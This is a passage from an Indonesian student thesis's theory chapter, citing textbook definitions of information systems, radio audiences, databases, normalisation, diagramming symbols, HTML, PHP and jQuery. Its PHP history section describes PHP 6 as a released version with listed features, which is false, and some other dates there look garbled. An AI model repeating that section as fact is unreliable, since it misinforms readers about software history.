dihasilkan sistem.
2.1.1.3 Klasifikasi Sistem
1. Sistem abstrak ; sistem yang berupa pemikiran atau ide-ide yang
tidak tampak secara fisik (sistem teologia)
2. Sistem fisik ; merupakan sistem yang ada secara fisik (sistem
komputer, sistem akuntansi, sistem produksi dll.)
12
3. Sistem alamiah ; sistem yang terjadi melalui proses alam. (sistem
matahari, sistem luar angkasa, sistem reproduksi dll.
4. Sistem buatan manusia ; sistem yang dirancang oleh manusia.
5. Sistem buatan manusia yang melibatkan interaksi manusia dengan
mesin disebut human-machine sistem (contoh ; sistem informasi)
6. Sistem Tertentu (deterministic sistem) ; beroperasi dengan tingkah
laku yang sudah dapat diprediksi. Interaksi bagian-bagiannya dapat
dideteksi dengan pasti sehingga keluaran dari sistem dapat
diramalkan (contoh ; sistem komputer)
7. Sistem tak tentu (probabilistic system) ; sistem yang kondisi masa
depannya tidak dapat diprediksi karena mengandung unsur
probabilitas.
8. Sistem tertutup (close system) ; sistem yang tidak berhubungan dan
tidak terpengaruh dengan sistem luarnya. Sistem ini bekerja secara
otomatis tanpa adanya turut campur tangan dari pihak luarnya.
Sistem terbuka (open system) ; sistem yang berhubungan dan
terpengaruh dengan lingkungan luarnya.
9. Sistem sederhana dan Sistem kompleks.
2.1.2 Pengertian Informasi
Menurut Jogiyanto (2005:8) Informasi adalah data yang telah
diolah menjadi bentuk yang lebih berarti dan berguna bagi
penerimanya untuk mengambil keputusan masa kini maupun masa
yang akan datang.
13
Menurut Abdul Kadir (2003:26) Informasi merupakan salah satu
sumber daya penting dalam manajemen modern.
Menurut Mc Fadden, dkk (Abdul Kadir, 2003:31) Informasi adalah
data yang telah diproses sedemikian rupa sehingga meningkatkan
pengetahuan seseorang yang menggunakan data tersebut.
Menurut (Sutabri, 2005) Informasi adalah data yang telah diklasifikasi
atau diolah atau diinterpretasi untuk digunakan dalam proses pengambilan
keputusan.
Dari definisi informasi diatas maka penyusun mengambil
kesimpulan sebagai berikut, Informasi adalah data yang diolah menjadi
sebuah bentuk yang lebih berguna bagi penerima dan dapat bermanfaat
untuk mengambil keputusan.
2.1.2.1 Pengertian Kualitas Informasi
Menurut Jogiyanto (2005:10) Kualitas dari suatu informasi
(Quality of Information) tergantung dari tiga hal, yaitu informasi harus
akurat (Accurate), tepat pada waktunya (Timeliness), dan relevan
(Relevance).
Menurut Tata Sutabri (2005:35) Kualitas suatu informasi
tergantung dari tiga hal yaitu, informasi harus akurat (Accurate), tepat
waktu (Timeliness), dan relevan (Relevance).
Dari definisi kualitas informasi diatas maka penyusun mengambil
kesimpulan bahwa kualitas informasi dapat dilihat berdasarkan tiga hal,
yaitu informasi harus akurat (Accurate), tepat waktu (Timeliness), dan
relevan (Relevance).
14
2.1.2.2 Pengertian Nilai Informasi
Menurut Tata Sutabri (2005:31) Nilai Informasi ditentukan oleh
dua hal, yaitu manfaat dan biaya untuk mendapatkannya.
Menurut Jogiyanto (2005:11) Nilai dari informasi (Value of
Information) ditentukan dari dua hal, yaitu manfaat dan biaya
mendapatkannya.
Berdasarkan definisi nilai informasi diatas, maka penyusun
menyimpulkan bahwa nilai informasi ditentukan oleh dua hal, yaitu
manfaat dan biaya untuk mendapatkannya. Suatu informasi dikatakan
bernilai bila manfaatnya lebih efektif dibandingkan dengan biaya
mendapatkannya.
2.1.3 Pengertian Sistem Informasi
Menurut Richardus Eko Indrajit (2000:3) Sistem Informasi adalah
suatu kumpulan dari komponen-komponen dalam perusahaan atau
organisasi yang berhubungan dengan proses penciptaan dan pengaliran
informasi.
Menurut Robert A. Leitch dan K. Roscoe Davis (Jogiyanto,
2005:11) Sistem Informasi adalah suatu sistem di dalam suatu
organisasi yang mempertemukan kebutuhan pengolahan transaksi
harian, mendukung operasi, bersifat manajerial dan kegiatan strategi
dari suatu organisasi dan menyediakan pihak luar tertentu dengan
laporan-laporan yang diperlukan.
Menurut Abdul Kadir (2003:10) Sistem Informasi adalah sejumlah
komponen (manusia, komputer, teknologi informasi, dan prosedur
15
kerja), ada sesuatu yang diproses (data menjadi informasi), dan
dimaksudkan untuk mencapai suatu sasaran atau tujuan.
2.1.3.1 Komponen Sistem Informasi
Setelah diuraikan mengenai definisi sistem dan informasi maka
secara umum sistem informasi didefinisikan sebagai kumpulan dari
sub-sub sistem, baik fisik maupun non fisik yang saling berhubungan
dan bekerjasama secara harmonis untuk mencapai suatu tujuan yaitu
mengolah data menjadi informasi yang berguna. Komponen-
komponen sistem informasi menurut Jogiyanto (2005:12), terdiri dari :
1. Hardware
Kumpulan dari perangkat keras yang terlihat memungkinkan
dapat membentuk sistem seperti komputer, printer dan jaringan.
2. Software
Kumpulan dari perintah-perintah/fungsi yang ditulis dengan
aturan tertentu, memerintahkan komputer agar melaksanakan fungsi
tertentu.
3. Data
Bahan dasar dari suatu informasi berupa fakta yang mengangkat
kejadian-kejadian nyata dan dituangkan kedalam suatu simbol.
4. Prosedur
Suatu tahapan yang berupa urutan kegiatan yang saling
berhubungan untuk mencapai tujuan yang berupa suatu dokumen
prosedur seperti : buku petunjuk operasional dan teknis.
16
5. Manusia
Merupakan pelaksana dari suatu sistem informasi seperti :
Operator, Programmer, Analyst, Designer dan sebagainya.
2.1.3.2 Kualitas Sistem Informasi
Menurut Joseph M. Juran (Andreas Viklun Weblog: 2010) Kualitas
adalah kesesuaian dengan penggunaan.
Menurut Feigenbaum (dalam Nasution, 2001:16) Kualitas adalah
kepuasan pengguna sepenuhnya (Full Customer Satisfaction).
Berdasarkan definisi diatas, maka penyusun menyimpulkan bahwa
kualitas sebagai “kesesuaian dengan spesifikasi pengguna”. Ide
dasarnya, kualitas layanan tidak dapat memenuhi sejumlah kriteria
yang di tetapkan perusahaan/instansi, sebaliknya kualitas layanan
dapat memenuhi kriteria yang ditetapkan pengguna.
2.1.4 Pengertian Radio
Radio is the birth of broadcasting (Radio adalah anak pertama
dunia penyiaran). Suara merupakan modal utama terpaan radio kepada
khalayak dan stimulasi yang di korelasikan oleh khalayak kepadanya.
Secara psikologis suara adalah sensasi yang terpersepsikan kedalam
kemasan auditif (Nasution, 2010).
Radio meruapakan media komunikasi yang dipergunakan
dalam mengirim warta jarak jauh yang dapat ditangkap oleh
sekelompok orang yang mendengarkannya melalui pemancar radio
yang diinginkan. Dengan radio masyarakat dapat memperoleh
17
informasi tentang kemajuan zaman. Bahkan radio pun berfungsi dalam
mengadakan perubahan persepsi bahkan perilaku seseorang atau
masyarakat (Wahyuni, 2009).
Kekuatan radio siaran dalam mempengaruhi serta
memanipulasi lingkungan juga disebabkan oleh karakteristik dari radio
siaran yang lebih dikenal dengan sebutan radio siaran style (gaya radio
siaran) adalah sifat radio siaran dan sifat pendegar radio. Adapun
karakteristik sifat radio siaran perlu memperhatikan hal-hal sebagai
berikut: Imajinatif, imajinasi pendengar bisa beragam persepsinya.
Radio dapat menciptakan theater of mind. Pendengar bisa terhanyut
perasaannya saat ia mendengarkan sandiwara radio yang disiarkan;
Auditori, radio adalah bunyi suara yang hanya bisa dikonsumsi oleh
telinga (Ardiansyah, 2010).
1. Kelebihan Radio
Menurut Stanley et all (Ardiansyah, 2010) kelebihan radio yaitu :
a. Sarana tercepat penyebar informasi dan hiburan, karena:
i. Dapat diterima didaerah yang belum memiliki sambungan
listrik,
ii. Produksi siaran lebih singkat dan biaya murah,
iii. Lebih merakyat karena buta huruf bukan kendala,
iv. Harga radio tergolong murah dan mudah dibawa kemana
saja.
Menurut Vivian (Ardiansyah, 2010) ada tiga kekuatan radio. Yaitu:
18
a. Mobilitas tinggi
Radio bisa “membawa pendengarnya kemana-mana” sambil tetap
sibuk bekerja.
b. Realitas
Radio menggiring pendengarnya kedalam kenyataan dengan suara
suara aktual dan bunyi dari fakta yang terekam dan disiarkan.
c. Kesegeraan
Radio menyajikan informasi dan petunjuk yang dibutuhkan
pendengar secara cepat, bahkan secara langsung pada saat kejadian.
Selain itu, pendengar juga bisa berinteraksi dengan penyiar secara
mudah melalui fasilitas telepon.
2. Kelemahan Radio
Menurut Stanley ada beberapa kelemahan radio diantaranya
(Ardiansyah ,2010):
a. Hanya bunyi (auditif) dan tidak ada visualisasi yang tampak
nyata,
b. Tergantung pada kondisi dan stabilitas udara di suatu
lokasi,
c. Tidak bisa mengirim pesan dann informasi secara
mendetail,
d. Terdengar selintas, sulit diingat, dan tidak bisa diulangi
lagi,
e. Hanya bisa didengarkan dan tidak bisa di dokumentasikan.
19
2.1.5 Pengertian Pendengar
Pendengar atau khalayak adalah orang-orang yang mendengarkan,
misalnya mendengarkan pidato, musik, dan sebagainya. Sedangkan
pendengar menurut Effendi adalah orang-orang yang menjadi sasaran
komunikasi, baik dalam bentuk kelompok yang berkumpul disuatu
tempat maupun dalam keadaan berpencar-pencar, tetapi sama-sama
terpikat perhatiaannya oleh suatu pesan dari media massa.
Pendengar radio adalah pihak yang paling penting dalam konten
komunikasi siaran. Sehingga memahami jenis pendengar sangat
penting (Ardiansyah ,2010).
1. Berdasarkan kelas Ekonomi
Menurut perspektif ekonomi, pendengar adalah konsumen siaran.
Pendengar mengkonsumsi sebuah produk siaran berdasarkan
ketersediaan waktu dan akses yang mudah terhadap pesawat penerima
siaran radio. Strata ekonomi sosial A (kelas ekonomi atas), B (kelas
ekonomi menegah), dan C (kelas ekonomi bawah)
2. Berdasarkan kelas sosial
Pendengar berdasarkan kelas sosialnya dibagi menjadi dua:
a. Kelas menengah atas
Pendengar yang memiliki pandangan jauh kedepan, memiliki
wawasan yang luas, merasa terikat dengan kejadian yang dialami
orang lain, berciri kota urban, berfikir rasional, percaya diri, mau
mengambil resiko dan memiliki selera yang beragam.
b. Kelas menengah kebawah
20
Pendengar jenis ini memiliki pandangan terbatas untuk masa
depan, wawasan sempit, memiliki ciri pedesaan, cara berfikirnya
konkret dan tidak rasional (mistis), lebih terikat keamanan fisik dan
seleranya terbatas.
3. Berdasarkan interkasi/partisipasi
Ada beberapa jenis pendengar berdasarkan interaksinya pada
sebuah radio, yaitu :
a. Pendengar spontan
Orang yang mendengarkan radio secara tidak sengaja karena tidak
berencana mendengarkan radio atau cara tertentu dan perhatiannya
mudah beralih para orang-orang tertentu. Contohnya orang dalam bis.
b. Pendengar pasif
Orang yang sering mendengarkan radio untuk mengisi waktu luang
dan bisa menghibur diri dengan menjadikan radio sebagai teman biasa.
Misalnya penjaga toko.
c. Pendengar selektif
Orang yang mendengarkan radio pada jam dan acara tertentu,
fanatik terhadap suatu acara tertentu atau penyiar tertentu dan
menyempatkan diri untuk mendengarkan acara itu.
d. Pendengar aktif
Orang yang mendengarkan radio, acara apapun, dimanapun, dan
aktif melakukan interksi melalui telepon, sms, twitter, facebook, dan
lain-lain. Pendengar jenis ini menjadikan radio sebagai sahabat utama
dan tidak hanya di waktu luang.
21
c. Berdasarkan Bahasa
a. Heterogen. Karena jumlah pendengar memiliki latar
belakang berbeda-beda yang dipengaruhi beberapa faktor.
Diantaranya jenis kelamin, usia, tingkat pendidikan,
kebudayaan dan tempat tinggal.
b. Pribadi. Jenis pendengar yang lebih tertarik dengan bahasa
yang lembut seperti yang disampaikan setiap hari.
Pendengar ini tidak menyukai cara penyampaian yang
semangat dan berapi-api, karena pendengar ini lebih
cenderung menganggap penyiar sahabat sendiri. Sehingga
ia hanya akan mendengarkan penyiar yang menggunakan
bahasa seperti yang dilakukan pendengar.
c. Aktif. Jenis pendengar seperti ini memeiliki ketertarikan
lebih karena menemukan sesuatu yang menarik dari sebuah
radio. Kemudian pendengar melakukan interaksi terhadap
apa yang di sampaikan penyiar.
d. Selektif. Jenis pendengar seperti ini hanya mendengarkan
siaran tertentu yang sesuai dengan kegemarannya. Misalnya
musik pop, rock, dangdut dan lain sebagainya.
2.1.5.1 Pengertian Respon Pendengar
Waktu siar yang sesuai dengan target pendengar, format acara yang
memikat dan pesan yang menyentuh sisi kebutuhan melahirkan
program yang baik didengar, layak disimak dan dibutuhkan.
22
Perpaduan yang harmonis ketiga faktor diatas membuat program siar
disuatu radio berhasil sampai ke pendengar dalam kondisi yang
mampu mengajak pendengar untuk aktif memberi respon.
Respon pendengar yang masuk pada sebuah program akan
tersalurkan pada saat sesi tanya-jawab, request lagu, dan interaksi
disosial media.
Kondisi respon pendengar yang demikian dapat menunjukkan
program dapat diterima oleh pendengar dan dapat menjadi tolak ukur
perkembangan suatu program yang berjalan pada suatu radio.
2.1.6 Pengertian Data
Menurut Turban (2010:41), data adalah deskripsi dasar dari benda,
peristiwa, aktivitas dan transaksi yang direkam, dikelompokkan, dan
disimpan tetapi belum terorganisir untuk menyampaikan arti tertentu.
Menurut Inmon (2005:493), data adalah kumpulan dari fakta,
konsep, atau instruksi pada penyimpanan yang digunakan untuk
komunikasi, perbaikan dan diproses secara otomatis yang
mempresentasikan informasi yang dapat di mengerti oleh manusia.
Berdasarkan teori para ahli diatas dapat disimpulkan bahwa, data
adalah deskripsi dasar dari benda, peristiwa, aktivitas dan transaksi
yang direkam, dikelompokkan, dan disimpan dalam jumlah yang besar
tetapi belum diolah.
23
2.1.6.1 Pengertian Pengolahan Data
Menurut (Ladjamudin, 2005) Pengolahan data adalah masa atau
waktu yang digunakan untuk mendeskripsikan perubahan bentuk data
menjadi formasi yang memiliki kegunaan.
Menurut (Sutarman, 2012) Pengolahan data adalah proses
perhitungan atau transformasi data input menjadi informasi yang
mudah dimengerti ataupun sesuai dengan yang diinginkan.
Dari pengertian diatas penulis menyimpulkan Pengolahan Data
adalah data yang diolah menjadi bentuk yang lebih berarti yang berupa
informasi.
2.1.6.2 Tahap Pengolahan Data
1. Pengumpulan Data
Pengumpulan Data (Data Collection) yaitu kegiatan
mengumpulkan dokumen sebagai sumber data yang diperlukan sebagai
bahan masukan dalam menghasilkan informasi sesuai dengan yang
dikehendaki. Dalam kegiatan ini, tentu saja termasuk
pencatatan/administrasi dari dokumen sehingga bisa diketahui jumlah
dokumen yang tersedia dan memudahkan pencarian kembali dokumen
tersebut jika diperlukan.
2. Pengelompokkan Data
Pengelompokkan Data (Data Classifying) yaitu dimaksudkan
untuk memberi arti tertentu atau untuk memudahkan pengolahan data
antara lain dengan cara mengelompokkan data berdasarkan jumlah
tertentu atau berdasarkan ciri-ciri/sifat-sifat atau keadaan tertentu.
24
3. Data Editing
Data Editing adalah untuk melakukan pemeriksaan kondisi dari
dokumen, apakah cukup jelas dan bisa dibaca untuk dilakukan
pemindahan data kedalam media penyimpanan.
1. Mungkin juga dilakukan pemilihan dokumen (sorting).
2.Perhitungan angka-angka yang ada untuk keperluan pengolahan
nanti.
3. Dalam tahap Editing Data ini penting dilakukan adalah
pemberian tanda elemen-elemen data yang akan direkam sehingga
memudahkan para petugas perekaman.
4. Perekaman Data
Perekaman Data, dokumen yang telah diedit dipindahkan
(direkam) ke dalam media penyimpanan data dengan menggunakan
alat perekam data.
5. Pengolahan Data
Pengolahan Data, setelah data dipindahkan ke dalam media
penyimpanan, barulah data ini bisa diproses oleh komputer. Maka
dengan aturan rumusan dan bahasa tertentu yang dimengerti oleh
komputer, komputer dapat melakukan pengolahan data untuk
menghasilkan laporan/informasi dalam bentuk tertentu sesuai dengan
yang diinginkan.
6. Penyimanan Data
Semua data harus disimpan di suatu tempat sampai data itu
diperlukan.
25
2.1.7 Pengertian Basis Data (Database)
Menurut Sutarman (2012:15), Database sekumpulan file yang
saling berhubungan dan terorganisasi atau kumpulan rekaman-rekaman
yang menyimpan data dan hubungan diantaranya.
Menurut Ladjamudin (2013:129), Database adalah sekumpulan
data store (bisa dalam jumlah yang sangat besar) yang tersimpan dalam
magnetic disk, oftical disk, magnetic drum, atau media penyimpanan
sekunder lainya.
Dari pengertian diatas penulis menyimpulkan Database adalah
sekumpulan file yang saling berhubungan yang menyimpan data dan
tersimpan dalam sebuah media penyimpanan.
2.1.7.1 Tujuan Basis Data (Database)
Database bertujuan untuk mengatur data sehingga diperoleh
kemudahan, ketepatan dan kecepatan dalam pengambilan kembali.
Untuk mencapainya tujuannya, syarat sebuah Database yang baik
adalah sebagai berikut :
1. Tidak Adanya Redundansi Data Dan Inkonsistensi Data
Redundansi terjadi apabila suatu informasi disimpan di
beberapa tempat. Akibat dari redundansi adalah
inkonsistensi data atau data tidak konsisten.
2. Tidak Terjadi Kesulitan Pengaksesan Data
Database memiliki fasilitas untuk melakukan pencarian
informasi dengan meggunakan Query ataupun dari tool
untuk melihat, sehingga kesulitan pencarian data yang
26
dialami ketika pencarian data yang menggunakan sistem
manual dapat teratasi.
3. Multiple User
Database memungkinkan pengguna data secara bersama-
sama oleh banyak pengguna pada saat yang bersamaan atau
pada saat yang berbeda.
2.1.7.2 Kelebihan Basis Data (Database)
Banyak manfaat yang dapat kita peroleh dengan menggunkan
Database, manfaat tersebut didapat dari kelabihan Database, di
antaranya adalah :
1. Kecepatan dan Kemudahan (Speed)
2. Kebersamaan Pemakaian (Shareability)
3. Pemusatan Data Kontrol
4. Efisiensi Ruang Penyimpanan
5. Keakuratan
6. Ketersediaan (Availability)
7. Kelengkapan (Completeness)
8. Keamanan (Security)
9. Kemudahan Dalam Pembuatan Program Aplikasi Baru
10. Pemakaian Secara Langsung
11. Kebebasan Data (Data Independen)
12. User View
27
2.1.8 Perancangan Basis Data (Database)
2.1.8.1 Normalisasi
Menurut (Fathansyah, 2004) bahwa normalisasi merupakan “Suatu
upaya untuk memperoleh sebuah basis data dengan struktur yang baik
dan ruang penyimpanan yang efisien dengan menerapkan aturan pada
setiap skema relasi”.
Selain itu normalisasi adalah proses yang berkaitan dengan model
data relasional untuk mengorganisasikan himpunan data dengan
ketergantungan dan keterkaitan yang tinggi atau erat.
Langkah pertama dalam melakukan normalisasi data adalah
dengan membentuk unnormalisasi data, dengan cara mencantumkan
semua atribut data yang ada pada struktur data pada kamus data.
Bentuk normalisasi adalah suatu aturan yang dikenakan pada tabel-
tabel dalam basis data dan harus dipenuhi oleh tabel-tabel tersebut
pada level-level normalisasi. Aturan-aturan dalam masing-masing
bentuk normalisasi tersebut menurut Abdul Kadir (2002: 52) dalam
bukunnya “Konsep dan Tuntunan Praktis Basis Data” adalah sebagai
berikut :
1. Bentuk tidak normal
Bentuk ini merupakan kumpulan data yang akan disimpan,
tidak ada keharusan mengikuti suatu format tertentu, dapat saja
data tidak lengkap atau terduplikasi dan data dikumpulkan apa
adanya.
28
2. Bentuk normal pertama
Suatu tabel dikatakan dalam bentuk normal pertama (1NF) bila
setiap kolom bernilai tunggal untuk setiap baris. Ini berarti
bahwa nama kolom yang berulang cukup diwakili oleh sebuah
nama kolom (tidak perlu ada indeks dalam memberi nama
kolom).
3. Bentuk normal kedua
Suatu tabel berada dalam bentuk normal kedua (2NF) jika tabel
berada dalam bentuk normal pertama, semua kolom bukan
kunci primer tergantung sepenuhnya terhadap kunci primer.
Suatu kolom disebut tergantung sepenuhnya terhadap kunci
primer jika nilai padasuatu kolom selalu bernilai sama untuk
suatu nilai kunci primer yang sama.
4. Bentuk normal ketiga
Suatu tabel berada dalam bentuk normal ketiga (3NF) jika tabel
berada dalam bentuk normal kedua, setiap kolom bukan kunci
primer tidak memiliki ketergantungan secara transitif terhadap
kunci primer.
2.1.8.2 Tabel Relasi
Pengertian Tabel Relasi menurut Fathansyah (2001 : 23) adalah
“Data yang menggambarkan hubungan antara tabel yang satu
dengan tabel yang lainnya”.
29
Tabel Relasi adalah asosiasi di antara dua tabel atau lebih dengan
menggunakan atribut kunci sebagai penghubungnya. Atribut di dalam
relasi tabel adalah properti atau ciri dari sebuah entitas atau objek,
sedangkan kunci adalah suatu atribut yang mempunyai karakteristik
yang unik dengan atribut lainnya pada sebuah entitas atau objek.
Tabel relasi digunakan untuk menggambarkan representasi struktur
dan data dari hubungan atar table secara fisik atau nyata. Macam-
Macam Relasi antar tabel:
1. One-to-manySatu record pada tabel x boleh berelasi dengan y
banyak record. Namun satu record pada Tabel y hanya boleh
berelasi dengan satu record saja pada tabel x.
2. One-to-oneJika dua tabel berelasi one-to-one artinya setiap
record di entitas pertama hanya akan berhubungan dengan satu
record di entitas kedua begitu pula sebaliknya.
3. Many-to-manyAda banyak record di entitas satu dan entitas
dua yang saling berhubungan satu sama lain
2.1.9 Perangkat Pemodelan
Perangkat pemodelan adalah suatu model yang digunakan untuk
menguraikan sistem menjadi bagian-bagian yang dapat diatur dan
mengkonsumsikan ciri konseptual juga fungional kepada analis,
pemodelan ini banyak digunakan adalah perangkat pemodelan
terstruktur dan perangkat pemodelan berorientasi objek. Beberapa
notasi pemodelan terstruktur yang digunakan pada karya ilmiah ini.
30
2.1.9.1 Diagram Alir (Flowchart)
Flowchart adalah suatu bagan yang menggunakan urutan instruksi-
instruksi untuk proses dalam komputer dan hubungan antara satu
proses dalam komputer dan hubungan antara satu proses yang lainnya
dengan menggunkan simbol-simbol tertentu.
Flowchart dapat dibagi dalam dua bagian yaitu sebagai berikut :
1. Sistem flowchart, merupakan satu bagian dengan symbol-
simbol tertentu dengan menggambarkan urutan prosedur
dari suatu sistem komputerisasi.
2. Program flowchart, merupakan satu bagian dengan symbol-
simbol tertentu dengan menggambarkan urutan proses dari
suatu sistem program.
Dengan demikian flowchart adalah suatu bagian yang penting
didalam pemrograman sebagai urutan gambar dari setiap
instruksi yang akan dituangkan kedalam salah satu Bahasa
computer. Berikut ini digambarkan simbol-simbol flowchart
dan fungsi dari masing-masing simbol (Hartono, 1999:662),
dalam Febriansyah, 2010:11
Tabel 2.1 Simbol Flowchart
NO Simbol Fungsi
1 Terminal, untuk memulai atau
mengakhiri suatu program
2 Input/Output, untuk memasukan
data atau menunjukan hasil
31
3
Proses, untuk melakukan
Pengolahan data
4 Decision, untuk melakukan kondisi /
pengujian yang akan menghasilkan
beberapa kemungkinan jawaban.
6
Predefined process, menyatakan
sekumpulan langkah proses yang
ditulis sebgai prosedur
7
Connector, untuk membuat konektor
pada satu halaman
8
Off Page Connector, untuk membuat
konektor pada satu halaman
9 Document, merupakan symbol untuk
data yang berbentuk kertas dan
informasi
10 Storage Data, symbol sebagai
tempat penyimpanan data
11 Arrow, arus/aliran proses pada
prosedur yang dapat dilakukan dari
atas kebawah, dari kiri kekanan, atau
dari kanan kekiri
32
2.1.9.2 Diagram Arus Data (Data Flow Diagram)
Data flow diagram adalah suatu model logika data atau proses
yang dibuat untuk menggambarkan dari mana asal data dan kemana
tujuan data yang dikeluarkan oleh sistem, dimana data disimpan,
proses apa yang menghasilkan data tersebut dan interaksi antara data
tersimpan dan proses yang dikenakan pada data tersebut (Kristanto,
2004:66).
Simbol-simbol Data Flow Diagram ditunjukan pada gambar berikut :
Gambar 2.1 Simbol Entitas Luar Pada Data Flow Diagram
Entitas luar sumber atau tujuan dari aliran data atau ke sistem.
Entitas luar bisa digambarkan secara fisik dengan sekelompok orang
atau sistem.
Gambar 2.2 Simbol Entitas Proses Pada Data Flow Diagram
Proses atau fungsi merupakan symbol untuk transformasi data
menjadi bentuk yang lain.
Gambar 2.3 Simbol Berkas Atau Penyimpanan Pada DFD
33
Berkas atau tempat penyimpanan berfungsi untuk menyimpan data
atau file.
Gambar 2.4 Simbol Aliran Data Pada Data Flow Diagram
Aliran data menggambarkan data dari suatu proses satu ke proses
lainnya atau dari entitas luar ke proses atau dari proses ke entitas luar.
2.1.9.3 Entity Relation Diagram (ERD)
Entity Relation Diagram (ERD) adalah suatu model jaringan yang
menggunakan sususan data yang disimpan didalam sistem secara
abstrak. Tujuan utama pembuatan Entity Relation Diagram (ERD)
adalah untuk menunjukkan objek-objek (entitas) apa saja yang ingin
dilibatkan dalam sebuah basis data dan bagaimana hubungan yang
terjadi di antara objek-objek tersebut. Simbol-simbol Entity Relation
Diagram (ERD) digambarkan sebagai berikut :
Gambar 2.5 Simbol Entitas (ERD)
Entitas adalah sesuatu dalam sistem nyata maupun abstrak dimana
data tersimpan atau terdapat data.
Gambar 2.6 Simbol Relationship
34
Relationship adalah hubungan alamiah yang terjadi antara entitas.
Pada umumnya diberi kata kerja, relasi yang terjadi memiliki
kordinalitas relasi, yaitu jumlah maksimum tupel yang berelasi dengan
entitas pada entitas lainnya.
Gambar 2.7 Simbol Atribut
Atribut adalah karakteristik dari entitas atau relasi yang
menyediakan penjelasan secara detail tentang entitas atau relasi
tersebut.
2.1.10 Pengertian Internet
Dalam beberapa tahun terakhir ini istilah internet sudah tidak asing
lagi, dari orang dewasa sampai pelajar sudah menggunakan teknologi
ini. Bahkan produsen komputer pun berlomba-lomba menciptakan
komputer yang canggih untuk memenuhi kebutuhan yang semakin
bertambah.
Pada jaman dahulu informasi yang didapat hanya melalui media
cetak seperti koran atau buku serta media elektronik seperti radio dan
televisi. Media-media ini berkembang terus seiring dengan kebutuhan
masyarakat akan informasi. Namun media-media ini banyak
kekurangannya, karena hanya memberikan informasi yang ada maupun
berita yang sudah lama juga informasi ini hanya sekali, maksudnya
tidak dapat diulang lagi. Dengan internet, informasi yang didapat tida
35
terbatas oleh waktu, terbuka sehari-semalam dan dapat mencari
informasi yang dibutuhkan.
Internet adalah metode untuk menghubungkan berbagai komputer
ke dalam satu jaringan komputer global, melalui protokol yang disebut
Transmission Control Protocol/ Internet Protokol (TCP/IP). Protokol
adalah suatu petunjuk yang menunjukkan pekerjaan yang akan
pengguna (user) lakukan dengan internet, apakah akan mengakses situs
web, melakukan transfer file, mengirim email dan sebagainya.
Protokol biasa dibayangkan seperti suatu bahasa yang digunakan untuk
berkomunikasi berbagai jenis komputer maupun sistem operasi yang
terhubung di internet (Abdul Kadir, 2002).
2.1.11 Pengertian Website
Menurut (Pipin, 2013), Web adalah sebuah kumpulan halaman
yang diawali dengan halaman muka yang berisikan informasi, iklan,
serta program aplikasi.
Menurut (Kusuma, 2012) Web adalah suatu layanan sajian
informasi yang menggunakan konsep hyperlink, yang memudahkan
surfer (sebutan para pemakai komputer yang melakukan browsing atau
penelusuran informasi melalui internet).
Dari pengertian diatas penulis menyimpulkan Web adalah suatu
layanan atau kumpulan halaman yang berisi informasi, iklan, serta
program aplikasi yang dapat digunakan oleh surfer.
36
2.1.12 Pengertian HTML
HTML singkatan (Akb10)HyperText Markup Language yaitu
sebuah bahasa markup yang digunakan untuk membuat sebuah
halaman web, menampilkan berbagai informasi di dalam sebuah
penjelajah web internet dan formatting hypertext sederhana yang
ditulis kedalam berkas format ASCII (American Standard Code For
Information Interchange) agar dapat menghasilkan tampilan wujud
yang terintegerasi.
HTML (HyperText Markup Language) merupakan bahasa
pemrograman web yang memiliki sintak atau aturan tertentu dalam
menuliskan script atau kode- kode, sehingga browser dapat
menampilkan informasi dengan membaca kode- kode HTML.
HTML merupakan bahasa standar yang menjadi antar muka dari
website dan menjadi dasar ketika anda akan membangun sebuah
website. (Akbar Ali, 2012)
HTML adalah suatu bahasa yang dikenali oleh web browser untuk
meampilkan informasi dengan lebih menarik dibandingkan dengan
tulisan teks biasa (plain text). (Oktavian, 2013)
HTML (Hypertext Markup Language) adalah bahasa standar untuk
membuat halaman-halaman web. (Abdul Kadir, 2010: 3)
2.1.13 Pengertian PHP (Personal Home Page/Hypertext Preprocessing)
(Otodidak, 2010), PHP singkatan dari PHP: Hypertext
Preprocessor yaitu bahasa pemrograman web server-side yang bersifat
open source. PHP merupakan script yang terintegrasi dengan HTML
37
dan berada pada server (server side HTML embedded scripting). PHP
adalah script yang digunakan untuk membuat halaman website yang
dinamis. Dinamis berarti halaman yang akan ditampilkan dibuat saat
halaman itu diminta oleh client. Mekanisme ini menyebabkan
informasi yang diterima client selalu yang terbaru atau up to date.
Semua script PHP dieksekusi pada server di mana script tersebut
dijalankan.
Ardhana (2012:88), PHP merupakan bahasa pemrograman
berbasis server-side yang dapat melakukan parsing script php menjadi
script web sehingga dari sisi client menghasilkan suatu tampilan yang
menarik
2.1.13.1 Sejarah PHP (Personal Home Page/Hypertext
Preprocessing)
PHP pertama kali dibuat oleh Rasmus Ledorf pada tahun 1995
yang diberi nama FI (Form Interpreted) dan digunakan untuk
mengelola form dan web. Pada perkembanganya, kode tersebut dirilis
ke umum sehingga mulai banyak dikembangkan oleh programmer
diseluruh dunia.
Pada tahun 1995 PHP 2.0 dirilis. Pada versi ini sudah terintegrasi
dengan bahasa pemograman C dan dilengkapi dengan modulnya
sehingga kualitas kerja PHP meningkat secara signifikan. Pada tahun
ini juga sebuah prusahaan yang bernama Zend merilis ulang PHP
dengan lebih bersih, baik, dan cepat.
38
Pada tahun 1998 PHP 3.0 diluncurkan dan pada tahun 1999 PHP
versi 4.0 dirilis. PHP versi ini paling banyak digunakan pada awal
abad 21 karena sudah mampu membangun web komplek dengan
stabilitas kecepatan yang tinggi.
Pada tahun 2004 Zend merilis PHP versi 5.0. Dalam versi ini, inti
dari interpreter PHP mengalami perubahan besar. Versi ini juga
memasukkan model pemrograman berorientasi objek ke dalam PHP
untuk menjawab perkembangan bahasa pemograman ke arah
paradigma berorientasi objek.
Pada versi 6 PHP sudah support untuk Unicode. Juga banyak fitur
penting lainya yang telah ditambahkan ke dalam PHP 6, antara lain :
1. Support Unicode, dukungan terhadap penggunaan Unicode telah
ditambahkan, sehingga lebih mudah untuk membangun dan
memelihara aplikasi.
2. Perbaikan keamanan.
3. Fitur dan konstruksi baru, sejumlah fitur sintaks baru
ditambahkan,
seperti 64-bit integer type, membangun perulangan untuk array
multidimensi, serta dukungan untuk labeled breaks.
2.1.14 Pengertian JQuery
JQuery adalah salah satu library javascript. Dengan JQuery, kita
dapat melakukan banyak hal yang tidak bisa dilakukan oleh HTML
maupun CSS. Misalnya menampilkan artikel tanpa me-reload
39
halaman, memunculkan pop-up di tengah – tengah halaman,
menyembunyikan artikel jika di klik dan sebagainya. (Kun, 2010: 1-2)
JQuery adalah add-on library javascript. Pikirkan JQuery adalah
kode javascript yang sudah dituliskan untuk anda. Secara umum yang
harus anda lakukan adalah memasukan satu atau dua baris kode pada
